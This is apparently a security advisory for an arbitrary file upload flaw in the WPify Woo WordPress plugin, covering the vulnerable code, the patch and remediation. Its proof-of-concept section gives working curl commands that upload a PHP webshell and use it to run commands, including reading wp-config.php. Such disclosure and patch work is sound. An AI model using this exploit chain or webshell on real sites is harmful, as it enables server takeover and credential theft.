CVE-2026-42748: Arbitrary File Upload in WPify Woo Plugin (CVSS 8.8)
Table of Contents
CVE-2026-42748 is a CVSS 8.8 (High) Authenticated Arbitrary File Upload vulnerability in the WPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce WordPress plugin. An attacker with Contributor-level access can upload any file type to the server, including PHP scripts, which may lead to Remote Code Execution.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WPify Woo – Withdrawal, CRN/VAT, QR payments, Heureka and more for WooCommerce |
| Plugin Slug | wpify-woo |
| CVE ID | CVE-2026-42748 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authenticated (Contributor+) Arbitrary File Upload |
| Affected Versions | <= 5.4.1 |
| Patched Version | 5.4.2 |
| Published | May 29, 2026 |
| Researcher | kai63001 |
| Wordfence Advisory | Link |
Description
The WPify Woo plugin bundles the wpify/custom-fields library to power its admin settings and form fields. This library registers a REST API endpoint to handle direct file uploads for custom field inputs. In all versions up to and including 5.4.1, this endpoint accepted any file type without validation. An attacker with Contributor-level access could upload a PHP script to the server. On many server configurations, the uploaded file would be executable from the browser, resulting in Remote Code Execution.
Technical Analysis
Vulnerable Endpoint Registration
The wpify/custom-fields library registers its REST routes inside vendor/wpify-woo/wpify/custom-fields/src/Api.php. In the vulnerable version, all routes share a single permission callback:
// vendor/wpify-woo/wpify/custom-fields/src/Api.php (version 5.4.1)
public function register_routes(): void
{
// ...
$this->register_rest_route(
'direct-file-upload',
WP_REST_Server::CREATABLE,
array($this, 'handle_direct_file_upload'),
array('field_id' => array('required' => false))
);
// ...
}
public function register_rest_route(
string $route,
string $method,
callable $callback,
array $args = array()
): void {
register_rest_route(
$this->get_rest_namespace(),
$route,
array(
'methods' => $method,
'callback' => $callback,
'permission_callback' => array($this, 'permissions_callback'), // single shared callback
'args' => $args,
)
);
}
public function permissions_callback(): bool
{
return current_user_can('edit_posts'); // Contributors have this capability
}
The REST namespace is derived from the plugin’s path inside wp-content:
public function get_api_basename(): string
{
$content_path = str_replace(\WP_CONTENT_DIR, '', __DIR__);
$file_path = basename($content_path);
return ltrim(str_replace('/' . $file_path, '', $content_path), '/');
}
For the wpify-woo plugin, this produces:
plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields
So the full endpoint URL is:
POST /wp-json/plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields/wpifycf/v1/direct-file-upload
Root Cause: Missing File Type Validation
The handle_direct_file_upload() function accepted any file, regardless of its type or extension:
// vendor/wpify-woo/wpify/custom-fields/src/Api.php (version 5.4.1)
public function handle_direct_file_upload()
{
if (empty($_FILES['file'])) {
return new \WP_Error('no_file', __('No file was uploaded.', 'wpify-custom-fields'), array('status' => 400));
}
$file = $_FILES['file'];
if (\UPLOAD_ERR_OK !== $file['error']) {
return new \WP_Error('upload_error', __('File upload failed.', 'wpify-custom-fields'), array('status' => 400));
}
// Validates size only
$max_upload_size = wp_max_upload_size();
if ($file['size'] > $max_upload_size) {
return new \WP_Error('file_too_large', ..., array('status' => 400));
}
// sanitize_file_name() sanitizes characters but does NOT block dangerous extensions
$filename = sanitize_file_name($file['name']);
$temp_dir = $this->helpers->get_direct_file_temp_dir();
// Temp dir: wp-content/uploads/wpifycf-temp/ — no .htaccess protection in 5.4.1
$unique_filename = wp_unique_filename($temp_dir, $filename);
$temp_path = trailingslashit($temp_dir) . $unique_filename;
// NO file type or MIME type check — any extension is accepted
if (!move_uploaded_file($file['tmp_name'], $temp_path)) {
return new \WP_Error('move_failed', __('Failed to save uploaded file.', 'wpify-custom-fields'), array('status' => 500));
}
return array('temp_path' => $temp_path, 'filename' => $unique_filename, ...);
}
The upload destination is wp-content/uploads/wpifycf-temp/. In version 5.4.1, this directory is created without any .htaccess file. On Apache servers that do not globally block PHP execution in wp-content/uploads/, PHP files placed here are directly accessible and executable from the web.
Why Contributor-Level Access Matters
WordPress assigns the edit_posts capability to Contributors by default. This is one of the lowest privilege levels — Contributors can draft posts but cannot publish them or upload media. Granting them access to a file upload API endpoint is a broken access control issue.
Proof of Concept
Disclaimer: This proof of concept is for educational purposes only. Use it only on systems you own or have explicit written permission to test.
Prerequisites:
- WordPress site with WPify Woo plugin <= 5.4.1 installed and activated
- Attacker has a Contributor-level account (username + password)
Step 1: Authenticate and Get a REST API Nonce
# Log in and capture session cookies
curl -s -c /tmp/wp-cookies.txt -b /tmp/wp-cookies.txt \
-d "log=contributor_user&pwd=contributor_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
"http://target.example.com/wp-login.php" -o /dev/null
# Retrieve REST nonce from the admin bar
NONCE=$(curl -s -b /tmp/wp-cookies.txt \
"http://target.example.com/wp-admin/" \
| grep -o '"nonce":"[^"]*"' | head -1 | cut -d'"' -f4)
echo "Nonce: $NONCE"
Step 2: Create a PHP Webshell
echo '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' > /tmp/shell.php
Step 3: Upload the PHP Shell via the Vulnerable Endpoint
RESPONSE=$(curl -s -b /tmp/wp-cookies.txt \
-H "X-WP-Nonce: $NONCE" \
-F "file=@/tmp/shell.php;type=application/octet-stream" \
"http://target.example.com/wp-json/plugins/wpify-woo/vendor/wpify-woo/wpify/custom-fields/wpifycf/v1/direct-file-upload")
echo "Server response: $RESPONSE"
# Expected: {"temp_path":"/var/www/html/wp-content/uploads/wpifycf-temp/shell.php","filename":"shell.php",...}
Step 4: Execute Commands via the Uploaded Shell
# Trigger the uploaded webshell
curl "http://target.example.com/wp-content/uploads/wpifycf-temp/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
# List WordPress configuration
curl "http://target.example.com/wp-content/uploads/wpifycf-temp/shell.php?cmd=cat+/var/www/html/wp-config.php"
Patch Analysis
Version 5.4.2 introduced two independent defenses. Both must be present for full protection.
Fix 1: Per-Route Permission Callbacks
The patch replaced the single shared permissions_callback with separate, granular callbacks for each route:
-public function register_rest_route(string $route, string $method, callable $callback, array $args = array()): void
+public function register_rest_route(string $route, string $method, callable $callback, array $args, callable $permission_callback): void
{
- register_rest_route($this->get_rest_namespace(), $route, array('methods' => $method, 'callback' => $callback, 'permission_callback' => array($this, 'permissions_callback'), 'args' => $args));
+ register_rest_route($this->get_rest_namespace(), $route, array('methods' => $method, 'callback' => $callback, 'permission_callback' => $permission_callback, 'args' => $args));
}
The direct-file-upload route now requires upload_files instead of edit_posts:
-$this->register_rest_route('direct-file-upload', WP_REST_Server::CREATABLE, array($this, 'handle_direct_file_upload'), array('field_id' => array('required' => false)));
+$this->register_rest_route('direct-file-upload', WP_REST_Server::CREATABLE, array($this, 'handle_direct_file_upload'), array('field_id' => array('required' => false)), array($this, 'cap_upload_files'));
// New capability check — upload_files is not available to Contributors
public function cap_upload_files(): bool
{
return current_user_can('upload_files');
}
Fix 2: WordPress Built-in MIME Validation via wp_handle_upload()
The raw move_uploaded_file() call was replaced with wp_handle_upload(), which enforces WordPress’s built-in MIME type allowlist and blocks dangerous extensions such as .php, .phtml, and .phar:
-$filename = sanitize_file_name($file['name']);
-$unique_filename = wp_unique_filename($temp_dir, $filename);
-$temp_path = trailingslashit($temp_dir) . $unique_filename;
-if (!move_uploaded_file($file['tmp_name'], $temp_path)) {
- return new \WP_Error('move_failed', ...);
-}
-return array('temp_path' => $temp_path, 'filename' => $unique_filename, ...);
+$this->helpers->harden_directory($temp_dir);
+require_once \ABSPATH . 'wp-admin/includes/file.php';
+// Redirect upload_dir filter to the temp directory
+add_filter('upload_dir', $upload_dir_filter, 99);
+try {
+ $result = wp_handle_upload($_FILES['file'], array('test_form' => false, 'mimes' => null));
+} finally {
+ remove_filter('upload_dir', $upload_dir_filter, 99);
+}
+if (isset($result['error'])) {
+ return new \WP_Error('upload_rejected', $result['error'], array('status' => 400));
+}
+return array('temp_path' => $result['file'], 'filename' => basename($result['file']), ...);
Fix 3: Directory Hardening
The patch also introduced harden_directory() in Helpers.php. This method writes .htaccess and web.config files into the temp directory to block PHP execution on Apache and IIS servers — providing defense in depth even if a dangerous file somehow reached the directory:
# .htaccess written by harden_directory()
<FilesMatch "\.(?i:php|phtml|phar|php\d|pl|py|cgi|rb|sh|jsp)$">
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
</FilesMatch>
Options -Indexes
Timeline
| Date | Event |
|---|---|
| May 29, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 2, 2026 | Advisory last updated |
| — | WPify Woo 5.4.2 released with the fix |
Remediation
Update WPify Woo to version 5.4.2 or later from the WordPress admin dashboard (Plugins → Updates) or download directly from wordpress.org. No configuration change is needed after updating.